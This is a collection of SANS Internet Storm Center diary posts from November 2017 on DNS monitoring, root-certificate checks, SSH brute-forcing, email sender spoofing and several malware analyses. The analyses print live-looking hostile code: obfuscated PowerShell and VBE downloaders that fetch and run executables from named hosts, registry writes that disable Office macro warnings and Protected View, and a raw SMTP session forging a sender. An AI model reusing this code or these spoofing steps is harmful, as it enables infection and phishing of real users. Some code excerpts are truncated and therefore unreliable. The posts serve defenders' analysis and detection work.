Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-16

Suspicious Domains Tracking Dashboard

Domain names remain a gold mine to investigate security incidents or to prevent some malicious activity to occur on your network (example by using a DNS firewall). The ISC has also a page[1] dedicated to domain names. But how can we detect potentially malicious DNS activity if domains are not (yet) present in a blocklist? The typical case is DGA’s of Domain Generation Algorithm[2] used by some malware families.

I have a dashboard that helps me to keep track on the DNS activity on networks under my control. Here is a screenshot:

The dashboard contains the following searches:

“DNS Requests by Type”

This timeline represents the DNS traffic based on the queries (“A”, “AAAA”, “NS”, etc). A peak of “TXT” queries may indicate some data ex-filtration or DNS tunnelling ongoing.

“Top 20 Rare TLD’s”

With the explosion of new TLD’s (Top Level Domains), we see that some of them are mainly used by bad guys. Usually, the domain registration process is easy (free) or registrars protect the domain owner’s privacy. TLD’s are extracted from the queries via a regex (the string after the last ‘.’ character). The top-20 is sorted by the number of occurrences found.

“Very Long Domain Names”

In this case, the string before the last dot is extracted and its size checked. DGA or kill switch domain use very long random strings (do you remember the Wannacry[3] case?

“Suspicious TLD’s”

This search returns DNS queries that use a “suspicious” TLD’s based on a blocklist that I maintain. Some examples:


“Malicious Domains”

This search returns DNS queries that are reported as valid IOC’s from my MISP[4] instance. To achieve this, I’m using the Splunk custom search command ‘getmispioc’[5]:

index=securityonion sourcetype=bro_dns
[|getmispioc last=5d type=domain
|rename value as qclass
|fields qclass
| rename qclass as Domain
| stats count as Hits by Domain

To generate this dashboard, I’m using bro_dns logs indexed in a Splunk instance but there is nothing specific to this setup and the dashboard can be easily deployed on another system like an ELK stack.

Happy hunting!

[1] https://isc.sans.edu/suspicious_domains.html
[2] https://en.wikipedia.org/wiki/Domain_generation_algorithm
[3] http://securityaffairs.co/wordpress/59072/cyber-crime/wannacry-ransomware-kill-switch.html
[4] http://misp-project.org/
[5] https://blog.rootshell.be/2017/10/31/splunk-custom-search-command-searching-misp-iocs/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-15

If you want something done right, do it yourself!

Another day, another malicious document! I like to discover how the bad guys are creative to write new pieces of malicious code. Yesterday, I found another interesting sample. It’s always the same story, a malicious document is delivered by email. The document was called 'Saudi Declare war Labenon.doc’ (interesting name by the way!). According to VT, it is already flagged as malicious by many antivirus[1] (SHA267: 7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection). The document is a classic RTF file that triggers the well-known %%cve:2017-0199%%. When started, it downloads the first file from:


The grabbed macro is split into two main sections. The first one is not very well obfuscated:

<script language="VBScript">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 : Set Office = CreateObject("WScript.Shell") : Office.run ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66)
ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(41) & ChrW(59) & ChrW(125) & ChrW(99) & ChrW(97) & ChrW(116) & ChrW(99) & ChrW(104) & ChrW(123) & ChrW(125) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59),0,true

It’s easy to decode it with Python:

>>> import re
>>> string="ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ... & ChrW(116) & ChrW(59)"
>>> string = re.sub("ChrW", "chr", string)
>>> string = re.sub("&", "+", string) 
>>> eval(string)

Here is a beautified version of the decoded command:

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command 
try {
  $down = New-Object System.Net.WebClient;
  $url = 'HTTPS:/'+'/'+'fbcom.review/f/1.exe’;
  $file = $env:temp + '\\1.exe’;
  $exec = New-Object -com shell.application;

The downloaded and executed file (1.exe) is also known on VT[2] (SHA256: 0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899). This is a classic behaviour.

That’s the second part of the script that looks more interesting. Indeed, it tries to alter the configuration of Microsoft Office to authorize dangerous actions to be performed. Windows registry keys are changed for multiple versions of Microsoft Office as well as programs. The features that are altered:

Key Type Possible values

1 (Enable all macros)
2 (Disable all macros without notification
3 (Disable all macros except those digitally signed
4: Disable all without notification

Disable*InPV DWORD

0 (Disabled)
1 (Enabled)

The keys "Disable*InPV" are related that the “Protected View”[3] added by Microsoft to increase the overall security of Office. It is defined as is:

Files from the Internet and from other potentially unsafe locations can contain viruses, worms, or other kinds of malware that can harm your computer. To help protect your computer, files from these potentially unsafe locations are opened in Protected View. By using Protected View, you can read a file and see its contents while reducing the risks.

The macro creates/updates the registry keys for different versions of Microsoft Office (11 to 16) and for Word & Excel:

Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"

As the saying goes, "if you want something done right, you have to do it yourself!" and this is also valid for malware. Stay safe!

[1]  https://www.virustotal.com/#/file/7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection
[2] https://www.virustotal.com/#/file/0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899/detection
[3] https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-13

VBE Embeded Script (info.zip)

My honeypot captured several copies of this file info.zip (info.vbe). I used Didier's Python script decode-vbe.py to examine the file and obtained following output:

vagrant@brain:~$ ./decode-vbe.py info.vbe
Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
  WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
strFileURL = "http://www.testswork.ru/tmp2.exe"
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Type = 1

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)

Function DosCommand(command,sleep)
  Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()

This VBE encoded script is currently detected by 41 AV engines and associated with a Coin Miner. The file in this URL is no longer active but the domain still resolves and should be blocked.

[1] https://blog.didierstevens.com/2016/03/29/decoding-vbe/
[2] https://www.virustotal.com/#/file/30daba44a4a25ff5750508613f897057a55337458f19b562e2ed1172c77e626b/detection

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-11-13

jsonrpc Scanning for root account

In the past few weeks I have noticed this type of POST activity showing in my honeypot {"id":0,"jsonrpc":"2.0","method":"eth_accounts"} looking for ID 0 (root). Activity has a static source port of 65535 and destination port 8080.

Do you have logs to share related to this type of activity?

[1] https://github.com/ethereum/wiki/wiki/JSON-RPC
[2] https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_accounts

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-11-11

Keep An Eye on your Root Certificates

A few times a year, we can read in the news that a rogue root certificate was installed without the user consent. The latest story that pops up in my mind is the Savitech audio drivers which silently installs a root certificate[1]. The risks associated with this kind of behaviour are multiple, the most important remains performing MitM attacks. New root certificates are not always the result of an attack or infection by a malware. Corporate end-points might also get new root certificates. Indeed, more and more companies are deploying SSL inspections tools. It could be interesting to keep an eye on what’s happening in your certificate store. On Windows systems, there is a GUI tool for this purpose, that you can call from the command line:

PC C:\Users\xavier> certmgr.msc

Or, from the Control panel ("Manager User/Computer Certificated"):

A GUI is nice but the power of the command line is better! We can also interact with the certificate store via PowerShell. PowerShell has a virtual drive ‘CERT:’ that allows interacting with the certificate store. Here are some examples of commands:

PS C:\Users\xavier> ls CERT:

Location   : CurrentUser
StoreNames : {TrustedPublisher, ClientAuthIssuer, Root, UserDS...}

Location   : LocalMachine
StoreNames : {TrustedPublisher, ClientAuthIssuer, Root, TrustedDevices…}

PS C:\Users\xavier> ls CERT:\CurrentUser

Name : TrustedPublisher
Name : ClientAuthIssuer
Name : Root
Name : UserDS
Name : CA
Name : AuthRoot
Name : TrustedPeople
Name : My
Name : SmartCardRoot
Name : Trust
Name : Disallowed

Now, let’s list the CA for the current user:

PS C:\Users\xavier> ls CERT:\CurrentUser\AuthRoot

PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\AuthRoot

Thumbprint                                Subject
----------                                -------
F18B538D1BE903B6A6F056435B171589CAF36BF2  CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OU=Certification Services...
E12DFB4B41D7D9C32B30514BAC1D81D8385E2D46  CN=UTN-USERFirst-Object, OU=http://www.usertrust.com, O=The USERTRUST Network, L=Salt Lake City, S=UT, C=US
DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212  CN=GeoTrust Global CA, O=GeoTrust Inc., C=US
DAC9024F54D8F6DF94935FB1732638CA6AD77C13  CN=DST Root CA X3, O=Digital Signature Trust Co.
D69B561148F01C77C54578C10926DF5B856976AD  CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3
D4DE20D05E66FC53FE1A50882C78DB2852CAE474  CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE
(remaining list removed)

You can display more details with only a few lines of code:

PS C:\Users\xavier> $store = New-Object System.Security.Cryptography.X509Certificates.X509Store("root","LocalMachine")
$store.certificates | select ThumbPrint,FriendlyName,NotAfter

Thumbprint                               FriendlyName                                    NotAfter          
----------                               ------------                                    --------          
CDD4EEAE6000AC7F40C3802C171E30148030C072 Microsoft Root Certificate Authority            10-May-21 01:28:13
BE36A4562FB2EE05DBB3D32323ADF445084ED656 Thawte Timestamping CA                          01-Jan-21 00:59:59
A43489159A520F0D93D032CCAF37E7FE20A8B419 Microsoft Root Authority                        31-Dec-20 08:00:00
92B46C76E13054E104F230517E6E504D43AB10B5                                                 15-Mar-32 00:59:59
8F43288AD272F3103B6FB1428485EA3014C0BCFE Microsoft Root Certificate Authority 2011       22-Mar-36 23:13:04
7F88CD7223F3C813818C994614A89C99FA3B5247 Microsoft Authenticode(tm) Root                 01-Jan-00 00:59:59
3B1EFD3A66EA28B16697394703A72CA340A05BD5 Microsoft Root Certificate Authority 2010       24-Jun-35 00:04:01
245C97DF7514E7CF2DF8BE72AE957B9E04741E85 Microsoft Timestamp Root                        31-Dec-99 00:59:59
18F7C1FCC3090203FD5BAA2F861A754976C8DD25 VeriSign Time Stamping CA                       08-Jan-04 00:59:59

What I'm doing on my test computers, I'm running a quick PowerShell script that collects details for all the certificates installed in the store, computes a SHA256 hash of the results and compares it with the hash generated by the last execution. Schedule it at a regular interval (ex: once a day). It will display information on the console but also create a specific Windows Event in the Application log:

# Generates a SHA256 hash of the certificate store and 
# compares it with the previous execution.
# Note:
# Do This with admin privs to create the new eventlog source:
# New-EventLog –LogName Application –Source “CertificateStoreChecker”


# Compute the hash of a string
Function Get-StringHash([String] $String,$HashName = "SHA256")
    $StringBuilder = New-Object System.Text.StringBuilder

# Replace 'CERT:' with your prefered location (ex: CERT:\CurrentUser\root)
# if you want to focus on specific certificates.
$certStoreDump = Get-ChildItem -Recurse -Path "CERT:\" 
$newSHA256 = Get-StringHash $certStoreDump
$fileExists = Test-Path $outputPath
if ($fileExists -eq $True) {
    $oldSHA256 = Get-Content $outputPath

    if($oldSHA256 -ne $newSHA256) {
        Write-Host "[WARNING] Certificate store content changed since the last execution!"
        Write-EventLog -LogName "Application" -Source "CertificateStoreChecker" -EventID 65501 -EntryType Information -Message "[WARNING] Certificate store content changed since the last execution!"

else {
    Write-Host "[INFO] First execution, generating SHA256 file: $outputPath"
    Write-EventLog -LogName "Application" -Source "CertificateStoreChecker" -EventID 65500 -EntryType Information -Message "[INFO] First execution, generating SHA256 file: $outputPath"

Out-File -FilePath $outputPath -InputObject $newSHA256

By default, the hash is stored in %USERPROFILE%\certstore.hash but you can specify it on the command line:

PS C:\bin> .\certificatestorechecker.ps1
[WARNING] Certificate store content changed since the last execution! 

And the corresponding event in the Event Log Viewer:

[1] http://www.securityweek.com/savitech-audio-drivers-caught-installing-root-certificate

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-11-10

Battling e-mail phishing

Lately I’ve been doing a lot of phishing exercises – by looking at last couple of years I would say that we can finally see some increased awareness. Unfortunately, this increased awareness is mainly between the IT security folks: the phishing (or social engineering) campaigns usually have very devastating results.

When conducing a social engineering attack through e-mail, I normally try to mimic the bad guys, to make the attack as realistic as possible. I tend to group them as below:

  • Phishing e-mails where the victim is being enticed to click on a link (and potentially later enter her/his credentials to a phishing web site),
  • Phishing e-mails with an executable in the attachment (either directly, or in an encrypted archive). The goal is to get the victim to unpack and execute the binary. For engagements, I normally use a benign executable that typically enumerate the local machine and exfiltrates that data to me (through DNS, for example),
  • Phishing e-mails with an office document in the attachment, that has been weaponized (i.e. a macro in Word, Excel or PowerPoint). The weaponization is normally similar to the previous bullet, where, for the engagement purposes, we normally want to know how many users opened the attachment.

Of course, any phisher worth his weight will always try to make the phishing e-mail look as legitimate as possible. Besides nicely creating the e-mail in HTML, probably the most important field (for the victim) is the sender.
As I’m sure most of our readers know, with SMTP there are two places where the sender is being defined: the envelope from field (use during SMTP) and the body from field, which is normally displayed in MUA’s (mail user agents) such as Outlook, Thunderbird and similar.

The issue here, that I’ve been consistently seeing when conducting such phishing engagements, is that the majority of servers verify only the envelope from field and ignore the body from field (or just use it for anti-spam detection). And of course, there are even those that do not check the envelope from field and simply allow anything to be set there.

This will result in an attacker being able to send e-mails such as the one below:

$ nc mail.server 25
Connected to mail.server (
Escape character is '^]'.
220 mail.server ESMTP Postfix
EHLO server
250-SIZE 52428800
250 DSN
MAIL FROM: notreallyimportant@phisher.com
250 2.1.0 Ok
RCPT TO: bojan.zdrnja@infigo.hr
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
From: "Recruitment" <recruitment@sans.org>
Subject: Your job application
To: Bojan Zdrnja <bojan.zdrnja@infigo.hr>

250 2.0.0 Ok: queued as C811CC0EB0E7

As you can see above, the e-mail was happily accepted by the SMTP server and delivered to the (potential) victim. The envelope from field was here set as notreallyimportant@phisher.com – generally it is important that this domain exists. While SPF can protect against attackers forging the sending domain, in most cases attackers will not care: they can simply register a new domain and set correct SPF records for it.

The issue is in the way the e-mail is shown in clients. Here is what the e-mail above will look like in Outlook:

Phishing e-mail in Outlook

This is probably game over for a typical victim. The only way for the victim to verify where the e-mail came from would be to check the message headers, which is probably something virtually none of the recipients will do (and, by the way, getting to message headers in Outlook is waaay to complex for an average user).

Gmail displays this a bit better, here is the same e-mail sent from my server:

We can see that Gmail added some extra information next to the sender’s name – the domain of the envelope sender (which passed SPF). When I picked a domain without SPF records, this is what the e-mail looked like in Gmail:

No domain in extra information now, but there is an icon with a question mark, indicating that Google was not able to verify the sender. I wonder how many users will see this ?
In each of the cases above, as we can see, the attacker simply needs to be a bit creative on forging the e-mail. Of course, many systems will detect (or will try to detect) the phishing e-mail by examining the body – but we know that this can be always circumvented.

So, what can we do here? One might think that we can start blocking e-mails if the body from field does not match the envelope from field. Or, we might block body from field if the e-mail originates from the Internet, but the body from is set to our organization? Unfortunately, this might break a lot of things such as mailing lists which will have the body from field set to the sender typically.

There does not seem to be a silver bullet currently. I normally recommend that organizations set their SPF and DKIM records, but the real issue is with the e-mail clients - so I believe we need to push organizations such as Microsoft to add more information to the displayed e-mail. Google seem to be on a right path here with Gmail, but even there the display could be improved.

How are you battling such e-mails? Share your experience with us here.



Published: 2017-11-09

What is My IP Again?

Until we all fully embrace IPv6, we're living in a NAT world.  And the folks who build security for that world often need to work around NAT that they didn't build.

Probably at least once per day, I need my current public IP address -  usually to allow myself admin access to something for a few minutes by adding my IP to an access list, sometimes to set myself up as a temporary (as in a few minutes) server to receive an exfiltrated file - it's always something.  Often I'm behind someone else's NAT gateway, so just looking isn't practical.  And even if it is a gateway I built, looking up stored configs or connecting to that firewall to check takes more time than it should.  How can we make getting this information simple and safe?

Back in the day, we used to use www.whatismyip.com or www.ipchicken.com.  However, the way the internet has gone, these sites seem more about making me look at ads than giving me the information that I really need.  And given the malvertising that we see being served up in ad services these days, I'd as soon just not go there anymore (literally).

OK, www.arin.net still gives me my public IP, with no ads.  But then I need to cut/paste it, or re-key it.  Me, I'd as soon have my computer do that.

It also used to be that ip.blindhog.net had a telnet auto-responder that gave you this info (which would also of course work with netcat), but they went offline, maybe about the time mirai gave telnet a black eye last year (??) **

So, what's left?  icanhazip.com and dyndns.org still have decent services.  You can scrape these using:

wget -O - -q icanhazip.com


curl -s checkip.dyndns.org | sed -e "s/.*Current IP Address: //" | sed -e "s/<.*$//"

If you want them in your clipboard, pipe them into clip or xclip (depending on your OS).

So for instance, I have a simple cmd file "getip.cmd" with either of these in it.  To get the address into my clipboard:
getip | clip

Me, I put both approaches in my "getip" script, with one commented out - you never know when a service you use every day will change or go offline.

Is there a cleaner way to get your current public IP, or a niftier scripting approach?  I have to admit, when I got to "it works" in 2 different ways, I stopped looking - if you have a better way to collect this info, by all means share in our comment section!

** for some telnet fun, try a telnet session to towel.blinkenlights.nl


Rob VandenBrink


Published: 2017-11-08

SSH Server "Time to Live"? Less than a cup of coffee!

After the stories I posted last week on SSH, I had some folks ask me about putting an SSH server on the public internet - apparently lots of lots of folks still think that's a safe thing to do.

Shodan lists 15 million such trusting souls:

OK - so can 15 million people be wrong? In a word, yes.  I put an SSH / SCP server up for a few minutes yesterday, for a quick file transfer.  For kicks, I left it up for a few minutes after I send myself the files, and had a coffee while I watched the logs.  And yu-u-u-p, I had several IP's brute forcing against my SSH service within 10 minutes of the server being online.


These are all automated attack engines, but they are taking the Mirai approach of using well known / default credentials to attempt to login - exactly lke the Mirai botnet, except over SSH rather than telnet.  I'll refer you again to http://www.defaultpassword.com  and any number of other sites that have default credentials listed.  "Common password" lists such as "the worst 500 passwords" or even comprehensive lists like the RockYou list, with transforms such as "add "99! or "!!"" to the end" are also surprisingly successful.  I have to say that I got domain admin this week from some LinkedIn OSINT, an open SSH server and "456789" as a password.

Anyway, the "safe" time to live for an SSH server on the public internet really is minutes these days - in my case less than a cup of coffee.  Look at your logs - the wolf has been at your door since the day you put that server online.  If you are still seeing brute force attempts against your server, that's no guarantee that someone else hasn't already succeeded.  Time to put your SSH server behind a VPN, preferably a VPN with multifactor authentication!


Rob VandenBrink


Published: 2017-11-07

Interesting VBA Dropper

Here is another sample that I found in my spam trap. The technique to infect the victim's computer is interesting. I captured a mail with a malicious RTF document (SHA256: c247929d3f5c82247db9102d2dec28c27f73dc0824f8b386f92aad1a22fd8edd)[1] that exploits the OLE2Link vulnerability (CVE-2017-0199[2]). Once opened, the document fetches the following URL:


It returns the XML content:

    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>;
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://localhost_C:\Windows\System32\mshta.exe_hxxp://newsshopper[.]info/news/t.php?thread=0"/>;
                        <soap:address location="\\;\\;
                                System.Diagnostics.Process.Start(_url.Split('_')[1], _url.Split('_')[2]);

This XML code spawns the mshta.exe to grab a second URL that returns an obfuscated VBA script:

(Note: the script has been beautified for better readability)

<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Dim o,kw,cr1,cr2,ps,d,l,r,wv
Set o = CReAtEOBJECt(WsCriPt.SHeLL)

ps= wd & "\sYSteM32\windowspowershell\v1.0\powershell.exe -WindowStyle Hidden "
kw = "taskkill /f /im winword.exe;"
cr1="ri -Path """"""HKCU:\Software\Microsoft\Office\"
cr2="\Word\Resiliency"""""" -recurse;"

o.run ps "
  taskkill /f /im winword.exe

  Function pr
          for ($i = 0; $i -lt 10; $i++)
              $r=[System.Text.Encoding]::Unicode.GetString((Get-ItemProperty $k).((Get-Item $k).Property[$i]));
              if ($r.Contains('.doc'))
          $r=$r.Substring(0, $r.IndexOf('.doc')+4);
          Remove-Item -Path "HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency" -recurse;
          Copy-Item -Path $r -Destination $tmf;
          $d = (Get-Content $tmf -ReadCount 0 -encoding byte)[1736901..1757380];
          Start-Sleep -s 1;
          Set-Content $r -encoding byte -Value $d;
          start winword "$r";
          $f = (Get-Content $tmf -ReadCount 0 -encoding byte)[62654..1736893];
          Set-Content $ada -encoding byte -Value $f;
          $wc = New-Object system.Net.WebClient;
          $cd=(Resolve-Path .\).Path
          Remove-Item " $cd\*" -include http*.pdb, http*.dll, *.cs;" & "
  Stop-Process -processname powershell;

Basically, what the script does:

It kills the existing winword.exe processes. For different versions of Microsoft Office (from 12.0 to 16.0), it scans the latest opened documents and extracts the one that was just opened. From the original document, another one is extracted at offset 1736901 (0x1A80C5) and a new Word instance is spawned to display it. It's just a simple form, not malicious (SHA256: c73573f83fe53cb076c5cc1156c1356f4e92424a9f1824511327fcf4dfc70c79). In parallel, the original is also padded with a PE file starting at offset 62654 (0xF4BE):

0000f4b0  69 6f 6e 68 69 67 68 ba  ba ba ba ba ba ba 4d 5a  |ionhigh.......MZ|
0000f4c0  90 00 03 00 00 00 04 00  00 00 ff ff 00 00 b8 00  |................|
0000f4d0  00 00 00 00 00 00 40 00  00 00 00 00 00 00 00 00  |......@.........|
0000f4e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0000f4f0  00 00 00 00 00 00 00 00  00 00 00 01 00 00 0e 1f  |................|
0000f500  ba 0e 00 b4 09 cd 21 b8  01 4c cd 21 54 68 69 73  |......!..L.!This|
0000f510  20 70 72 6f 67 72 61 6d  20 63 61 6e 6e 6f 74 20  | program cannot |
0000f520  62 65 20 72 75 6e 20 69  6e 20 44 4f 53 20 6d 6f  |be run in DOS mo|
0000f530  64 65 2e 0d 0d 0a 24 00  00 00 00 00 00 00 7e 04  |de....$.......~.|
0000f540  fc 49 3a 65 92 1a 3a 65  92 1a 3a 65 92 1a 8e f9  |.I:e..:e..:e....|
0000f550  63 1a 33 65 92 1a 8e f9  61 1a 40 65 92 1a 8e f9  |c.3e....a.@e....|
0000f560  60 1a 22 65 92 1a 01 3b  91 1b 28 65 92 1a 01 3b  |`."e...;..(e...;|
0000f570  96 1b 28 65 92 1a 01 3b  97 1b 1f 65 92 1a 33 1d  |..(e...;...e..3.|
0000f580  01 1a 3f 65 92 1a 3a 65  93 1a 58 65 92 1a a8 3b  |..?e..:e..Xe...;|
0000f590  97 1b 3b 65 92 1a a8 3b  6d 1a 3b 65 92 1a a8 3b  |..;e...;m.;e...;|
0000f5a0  90 1b 3b 65 92 1a 52 69  63 68 3a 65 92 1a 00 00  |..;e..Rich:e....|
0000f5b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 50 45  |..............PE|
0000f5c0  00 00 4c 01 06 00 5e 2a  ff 59 00 00 00 00 00 00  |..L...^*.Y......|
0000f5d0  00 00 e0 00 02 01 0b 01  0e 00 00 b8 03 00 00 5c  |...............\|

The file is extracted and executed (SHA256: a561c28196d1736345e1dc49edc97d3f8499236da2e92f4da97ff307de3d1db8).

The VBA script also downloads another PE file (SHA256: 2cb8b35ca2c74fae08d4fa319a86e12d7a90860bafc8276394359f9fc704874f) but it seems to be unused(?). 

[1] https://www.virustotal.com/#/file/c247929d3f5c82247db9102d2dec28c27f73dc0824f8b386f92aad1a22fd8edd/detection
[2] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

